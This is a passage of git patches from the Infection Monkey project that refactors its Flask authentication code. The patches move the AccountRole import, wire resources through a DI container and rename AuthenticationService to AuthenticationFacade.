.../resources/agent_signals/terminate_all_agents.py | 2 +- monkey/monkey_island/cc/resources/agents.py | 3 ++- .../cc/resources/clear_simulation_data.py | 2 +- .../cc/resources/exploitations/monkey_exploitation.py | 2 +- monkey/monkey_island/cc/resources/island_log.py | 2 +- monkey/monkey_island/cc/resources/island_mode.py | 2 +- monkey/monkey_island/cc/resources/local_run.py | 2 +- monkey/monkey_island/cc/resources/machines.py | 2 +- monkey/monkey_island/cc/resources/nodes.py | 2 +- .../monkey_island/cc/resources/ransomware_report.py | 2 +- monkey/monkey_island/cc/resources/remote_run.py | 2 +- .../cc/resources/report_generation_status.py | 2 +- .../cc/resources/reset_agent_configuration.py | 2 +- monkey/monkey_island/cc/resources/security_report.py | 2 +- monkey/monkey_island/cc/resources/version.py | 2 +- monkey/monkey_island/cc/services/__init__.py | 11 ++++++----- .../flask_resources/agent_configuration.py | 2 +- .../cc/services/authentication_service/__init__.py | 1 + .../services/authentication_service}/account_role.py | 0 .../configure_flask_security.py | 2 +- monkey/tests/unit_tests/monkey_island/conftest.py | 2 +- 23 files changed, 27 insertions(+), 25 deletions(-) rename monkey/{common => monkey_island/cc/services/authentication_service}/account_role.py (100%) diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index 1df3eac36b5..35e3ed06a68 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -9,4 +9,3 @@ from .agent_signals import AgentSignals from .agent_heartbeat import AgentHeartbeat from .hard_coded_manifests import HARD_CODED_EXPLOITER_MANIFESTS -from .account_role import AccountRole diff --git a/monkey/monkey_island/cc/resources/agent_logs.py b/monkey/monkey_island/cc/resources/agent_logs.py index 7d39b2af8f7..d96132b2251 100644 --- a/monkey/monkey_island/cc/resources/agent_logs.py +++ b/monkey/monkey_island/cc/resources/agent_logs.py @@ -4,10 +4,10 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import AccountRole from common.types import AgentID from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentLogRepository, UnknownRecordError +from monkey_island.cc.services.authentication_service import AccountRole logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py index 518479001f7..c555b08c016 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py @@ -5,10 +5,10 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import TerminateAllAgents as TerminateAllAgentsObject +from monkey_island.cc.services.authentication_service import AccountRole logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/agents.py b/monkey/monkey_island/cc/resources/agents.py index ecae3be6a91..7bd83e23e0f 100644 --- a/monkey/monkey_island/cc/resources/agents.py +++ b/monkey/monkey_island/cc/resources/agents.py @@ -5,10 +5,11 @@ from flask import make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRole, AgentRegistrationData +from common import AgentRegistrationData from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository +from monkey_island.cc.services.authentication_service import AccountRole logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/clear_simulation_data.py b/monkey/monkey_island/cc/resources/clear_simulation_data.py index 020846afe77..1bd4ee12430 100644 --- a/monkey/monkey_island/cc/resources/clear_simulation_data.py +++ b/monkey/monkey_island/cc/resources/clear_simulation_data.py @@ -3,9 +3,9 @@ from flask import make_response from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole class ClearSimulationData(AbstractResource): diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index 204d00bf117..0b65cf80a7d 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -2,13 +2,13 @@ from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, IAgentPluginRepository, IMachineRepository, ) +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_monkey_exploited, ) diff --git a/monkey/monkey_island/cc/resources/island_log.py b/monkey/monkey_island/cc/resources/island_log.py index b8e917e11e3..a20c01d8586 100644 --- a/monkey/monkey_island/cc/resources/island_log.py +++ b/monkey/monkey_island/cc/resources/island_log.py @@ -3,9 +3,9 @@ from flask_security import auth_token_required, roles_required -from common import AccountRole from common.utils.file_utils import get_text_file_contents from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index ee6a23be660..b6b8aa75eba 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -5,11 +5,11 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import IslandMode as IslandModeEnum from monkey_island.cc.repositories import ISimulationRepository +from monkey_island.cc.services.authentication_service import AccountRole logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 2728b10bfc2..4e163073237 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -3,8 +3,8 @@ from flask import jsonify, make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService diff --git a/monkey/monkey_island/cc/resources/machines.py b/monkey/monkey_island/cc/resources/machines.py index b521eb960ab..f60a81e7631 100644 --- a/monkey/monkey_island/cc/resources/machines.py +++ b/monkey/monkey_island/cc/resources/machines.py @@ -2,9 +2,9 @@ from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IMachineRepository +from monkey_island.cc.services.authentication_service import AccountRole class Machines(AbstractResource): diff --git a/monkey/monkey_island/cc/resources/nodes.py b/monkey/monkey_island/cc/resources/nodes.py index 69e36e74bfe..03d5623b94f 100644 --- a/monkey/monkey_island/cc/resources/nodes.py +++ b/monkey/monkey_island/cc/resources/nodes.py @@ -2,9 +2,9 @@ from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import INodeRepository +from monkey_island.cc.services.authentication_service import AccountRole class Nodes(AbstractResource): diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index bee25101737..703e6f77cf9 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -1,13 +1,13 @@ from flask import jsonify from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, IAgentPluginRepository, IMachineRepository, ) +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.ransomware import ransomware_report diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index f2adcd8a4be..8938456cb46 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -5,9 +5,9 @@ from flask import jsonify, make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services import AWSService +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.aws import AWSCommandResults CLIENT_ERROR_FORMAT = ( diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index 8abc2447673..63da695387f 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -1,9 +1,9 @@ from flask import jsonify from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.infection_lifecycle import is_report_done diff --git a/monkey/monkey_island/cc/resources/reset_agent_configuration.py b/monkey/monkey_island/cc/resources/reset_agent_configuration.py index f58006a9f18..8121ac02407 100644 --- a/monkey/monkey_island/cc/resources/reset_agent_configuration.py +++ b/monkey/monkey_island/cc/resources/reset_agent_configuration.py @@ -3,9 +3,9 @@ from flask import make_response from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole class ResetAgentConfiguration(AbstractResource): diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index 7f18595a881..f041fc1c39b 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -1,7 +1,7 @@ from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.reporting.report import ReportService diff --git a/monkey/monkey_island/cc/resources/version.py b/monkey/monkey_island/cc/resources/version.py index e15173a2436..099caf2704c 100644 --- a/monkey/monkey_island/cc/resources/version.py +++ b/monkey/monkey_island/cc/resources/version.py @@ -2,9 +2,9 @@ from flask_security import auth_token_required, roles_required -from common import AccountRole from monkey_island.cc import Version as IslandVersion from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 9a7f0cb2db0..75b8bc55109 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -2,6 +2,12 @@ from .aws import AWSService +from .authentication_service import ( + register_resources as register_authentication_resources, +) # noqa: E501 +from .authentication_service import build as build_authentication_service +from .authentication_service import setup_authentication + from .agent_configuration_service import ( IAgentConfigurationService, PluginConfigurationValidationError, @@ -10,8 +16,3 @@ from .agent_configuration_service import ( register_resources as register_agent_configuration_resources, ) # noqa: E501 -from .authentication_service import ( - register_resources as register_authentication_resources, -) # noqa: E501 -from .authentication_service import build as build_authentication_service -from .authentication_service import setup_authentication diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py index 8d599074368..b844ab3fba8 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py @@ -4,11 +4,11 @@ from flask import make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRole from common.agent_configuration.agent_configuration import ( AgentConfiguration as AgentConfigurationObject, ) from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole from .. import IAgentConfigurationService, PluginConfigurationValidationError diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index 184770fd614..b87d9ab780a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,3 +1,4 @@ +from .account_role import AccountRole from .authentication_service import AuthenticationService from .flask_resources import register_resources diff --git a/monkey/common/account_role.py b/monkey/monkey_island/cc/services/authentication_service/account_role.py similarity index 100% rename from monkey/common/account_role.py rename to monkey/monkey_island/cc/services/authentication_service/account_role.py diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 4484bea0947..9375f86b57d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -9,9 +9,9 @@ from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore from wtforms import StringField, ValidationError -from common import AccountRole from common.utils.file_utils import open_new_securely_permissioned_file from monkey_island.cc.mongo_consts import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT, MONGO_URL +from monkey_island.cc.services.authentication_service import AccountRole from .role import Role from .user import User diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 2366e1d7cc9..15deaa7f73b 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -11,9 +11,9 @@ from flask_security import MongoEngineUserDatastore, Security import monkey_island -from common import AccountRole from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.authentication_service.flask_resources.login import Login from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout from monkey_island.cc.services.authentication_service.flask_resources.register import Register From ca7493964a4174e7ba7aa05780c55173c1ca6c66 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Mar 2023 11:23:29 -0500 Subject: [PATCH 0546/1338] Island: Use relative import in authentication_service.py --- .../services/authentication_service/authentication_service.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py index a091c80410a..43410ad1c55 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py @@ -1,7 +1,8 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services.authentication_service.user import User + +from .user import User class AuthenticationService: From ae517d93fe468cbe71c435f959a0c883606f7fbf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Mar 2023 11:24:40 -0500 Subject: [PATCH 0547/1338] Island: Use relative import in configure_flask_security.py --- .../services/authentication_service/configure_flask_security.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 9375f86b57d..52b82768363 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -11,8 +11,8 @@ from common.utils.file_utils import open_new_securely_permissioned_file from monkey_island.cc.mongo_consts import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT, MONGO_URL -from monkey_island.cc.services.authentication_service import AccountRole +from . import AccountRole from .role import Role from .user import User From 3dc87cc6bde12ae75499546fa9ec1edcbec6446e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 17:40:52 +0100 Subject: [PATCH 0548/1338] Island: Use pure DIContainer to register authentication service resources --- monkey/monkey_island/cc/app.py | 4 +-- monkey/monkey_island/cc/services/__init__.py | 1 - .../authentication_service/__init__.py | 1 - .../services/authentication_service/build.py | 7 ---- .../flask_resources/__init__.py | 4 +++ .../flask_resources/register_resources.py | 19 +++++++---- .../monkey_island/cc/services/initialize.py | 3 -- .../authentication_service/conftest.py | 32 ++++++++++++++++--- 8 files changed, 46 insertions(+), 25 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/authentication_service/build.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 2088a039d18..3054e471289 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -90,8 +90,6 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) - register_authentication_resources(api) - api.add_resource(Agents) api.add_resource(LocalRun) @@ -148,6 +146,8 @@ def init_app( init_app_config(app, data_dir) init_app_url_rules(app) + register_authentication_resources(api, container) + flask_resource_manager = FlaskDIWrapper(api, container) init_api_resources(flask_resource_manager) diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 75b8bc55109..e446a8b87e7 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -5,7 +5,6 @@ from .authentication_service import ( register_resources as register_authentication_resources, ) # noqa: E501 -from .authentication_service import build as build_authentication_service from .authentication_service import setup_authentication from .agent_configuration_service import ( diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index b87d9ab780a..e41dfb91272 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -2,5 +2,4 @@ from .authentication_service import AuthenticationService from .flask_resources import register_resources -from .build import build from .configure_flask_security import setup_authentication diff --git a/monkey/monkey_island/cc/services/authentication_service/build.py b/monkey/monkey_island/cc/services/authentication_service/build.py deleted file mode 100644 index ac267a58eac..00000000000 --- a/monkey/monkey_island/cc/services/authentication_service/build.py +++ /dev/null @@ -1,7 +0,0 @@ -from common import DIContainer - -from .authentication_service import AuthenticationService - - -def build(container: DIContainer) -> AuthenticationService: - return container.resolve(AuthenticationService) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index 89119d59f1d..61f13aa2f0f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -1 +1,5 @@ +from .register import Register +from .registration_status import RegistrationStatus +from .login import Login +from .logout import Logout from .register_resources import register_resources diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index 6b12b9d82bf..f39c9709332 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -1,13 +1,20 @@ -from monkey_island.cc.flask_utils import FlaskDIWrapper +import flask_restful +from common import DIContainer + +from ..authentication_service import AuthenticationService from .login import Login from .logout import Logout from .register import Register from .registration_status import RegistrationStatus -def register_resources(api: FlaskDIWrapper): - api.add_resource(Register) - api.add_resource(RegistrationStatus) - api.add_resource(Login) - api.add_resource(Logout) +def register_resources(api: flask_restful.Api, container: DIContainer): + authentication_service = container.resolve(AuthenticationService) + + api.add_resource(Register, *Register.urls, resource_class_args=(authentication_service,)) + api.add_resource( + RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_service,) + ) + api.add_resource(Login, *Login.urls, resource_class_args=(authentication_service,)) + api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_service,)) diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index 3301b96bd6e..7dc67df0151 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -67,12 +67,10 @@ AWSService, IAgentConfigurationService, build_agent_configuration_service, - build_authentication_service, ) from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL -from .authentication_service import AuthenticationService from .reporting.report import ReportService logger = logging.getLogger(__name__) @@ -250,7 +248,6 @@ def _log_agent_binary_hashes(agent_binary_repository: IAgentBinaryRepository): def _register_services(container: DIContainer): container.register_instance(AWSService, container.resolve(AWSService)) container.register_instance(LocalMonkeyRunService, container.resolve(LocalMonkeyRunService)) - container.register_instance(AuthenticationService, build_authentication_service(container)) container.register_instance(AgentSignalsService, container.resolve(AgentSignalsService)) container.register_instance( IAgentConfigurationService, build_agent_configuration_service(container) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index ba3806cf16b..1295dddfe22 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -1,9 +1,15 @@ from unittest.mock import MagicMock import pytest -from tests.common import StubDIContainer +from tests.unit_tests.monkey_island.conftest import init_mock_security_app from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.flask_resources import ( + Login, + Logout, + Register, + RegistrationStatus, +) @pytest.fixture @@ -14,10 +20,26 @@ def mock_authentication_service(): @pytest.fixture -def flask_client(build_flask_client, mock_authentication_service): - container = StubDIContainer() +def build_flask_client(mock_authentication_service): + def inner(): + return get_mock_auth_app(mock_authentication_service).test_client() + + return inner + + +def get_mock_auth_app(authentication_service: AuthenticationService): + app, api = init_mock_security_app() + api.add_resource(Register, *Register.urls, resource_class_args=(authentication_service,)) + api.add_resource(Login, *Login.urls, resource_class_args=(authentication_service,)) + api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_service,)) + api.add_resource( + RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_service,) + ) - container.register_instance(AuthenticationService, mock_authentication_service) + return app - with build_flask_client(container) as flask_client: + +@pytest.fixture +def flask_client(build_flask_client, mock_authentication_service): + with build_flask_client() as flask_client: yield flask_client From f17831806ef0cb266bf4e266f9cdcd2833b684e2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Mar 2023 12:22:46 -0500 Subject: [PATCH 0549/1338] Island: Remove AuthenticationService export --- .../cc/services/authentication_service/__init__.py | 1 - .../cc/services/authentication_service/conftest.py | 4 +++- .../authentication_service/flask_resources/test_login.py | 4 +++- .../authentication_service/flask_resources/test_logout.py | 4 +++- .../authentication_service/flask_resources/test_register.py | 4 +++- .../authentication_service/test_authentication_service.py | 4 +++- 6 files changed, 15 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index e41dfb91272..309aa8d2704 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,5 +1,4 @@ from .account_role import AccountRole -from .authentication_service import AuthenticationService from .flask_resources import register_resources from .configure_flask_security import setup_authentication diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 1295dddfe22..1f774b935d3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -3,7 +3,9 @@ import pytest from tests.unit_tests.monkey_island.conftest import init_mock_security_app -from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.authentication_service import ( + AuthenticationService, +) from monkey_island.cc.services.authentication_service.flask_resources import ( Login, Logout, diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py index 0423530d4c9..c784411d537 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py @@ -4,7 +4,9 @@ import pytest from flask import Response -from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.authentication_service import ( + AuthenticationService, +) from monkey_island.cc.services.authentication_service.flask_resources.login import Login USERNAME = "test_user" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py index abd06bb9369..86c2e5ed9be 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py @@ -3,7 +3,9 @@ import pytest from flask import Response -from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.authentication_service import ( + AuthenticationService, +) from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout USERNAME = "test_user" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index e6a0338fa6f..fa3d55e10f1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -4,7 +4,9 @@ import pytest from flask import Response -from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.authentication_service import ( + AuthenticationService, +) from monkey_island.cc.services.authentication_service.flask_resources.register import Register USERNAME = "test_user" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index e9acd895253..3933905f36b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -5,7 +5,9 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.authentication_service import ( + AuthenticationService, +) from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" From 4b00497675a3ad2a7aa9666bdc62a58ddb427fad Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 11:13:33 +0100 Subject: [PATCH 0550/1338] Island: Rename Authentication{Service, Facade} class --- ...on_service.py => authentication_facade.py} | 2 +- .../configure_flask_security.py | 1 + .../flask_resources/login.py | 8 ++--- .../flask_resources/logout.py | 8 ++--- .../flask_resources/register.py | 8 ++--- .../flask_resources/register_resources.py | 12 ++++---- .../flask_resources/registration_status.py | 8 ++--- .../authentication_service/conftest.py | 24 +++++++-------- .../flask_resources/test_login.py | 24 +++++++-------- .../flask_resources/test_logout.py | 12 ++++---- .../flask_resources/test_register.py | 22 +++++++------- .../test_registration_status.py | 4 +-- .../test_authentication_service.py | 30 +++++++++---------- 13 files changed, 81 insertions(+), 82 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/{authentication_service.py => authentication_facade.py} (98%) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py similarity index 98% rename from monkey/monkey_island/cc/services/authentication_service/authentication_service.py rename to monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 43410ad1c55..2c07aecaa2d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -5,7 +5,7 @@ from .user import User -class AuthenticationService: +class AuthenticationFacade: """ A service for user authentication """ diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 52b82768363..8fe2ff411ca 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -78,6 +78,7 @@ def to_dict(self, only_user): app, user_datastore, confirm_register_form=CustomConfirmRegisterForm, + register_blueprint=False, ) # Force Security to always respond as an API rather than HTTP server # This will cause 401 response instead of 301 for unauthorized requests for example diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 9179c13eac7..ba218b92525 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from ..authentication_service import AuthenticationService +from ..authentication_facade import AuthenticationFacade from .utils import get_username_password_from_request logger = logging.getLogger(__name__) @@ -21,8 +21,8 @@ class Login(AbstractResource): urls = ["/api/login"] - def __init__(self, authentication_service: AuthenticationService): - self._authentication_service = authentication_service + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade def post(self): """ @@ -44,6 +44,6 @@ def post(self): return response_to_invalid_request() if response.status_code == HTTPStatus.OK: - self._authentication_service.handle_successful_login(username, password) + self._authentication_facade.handle_successful_login(username, password) return make_response(response) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py 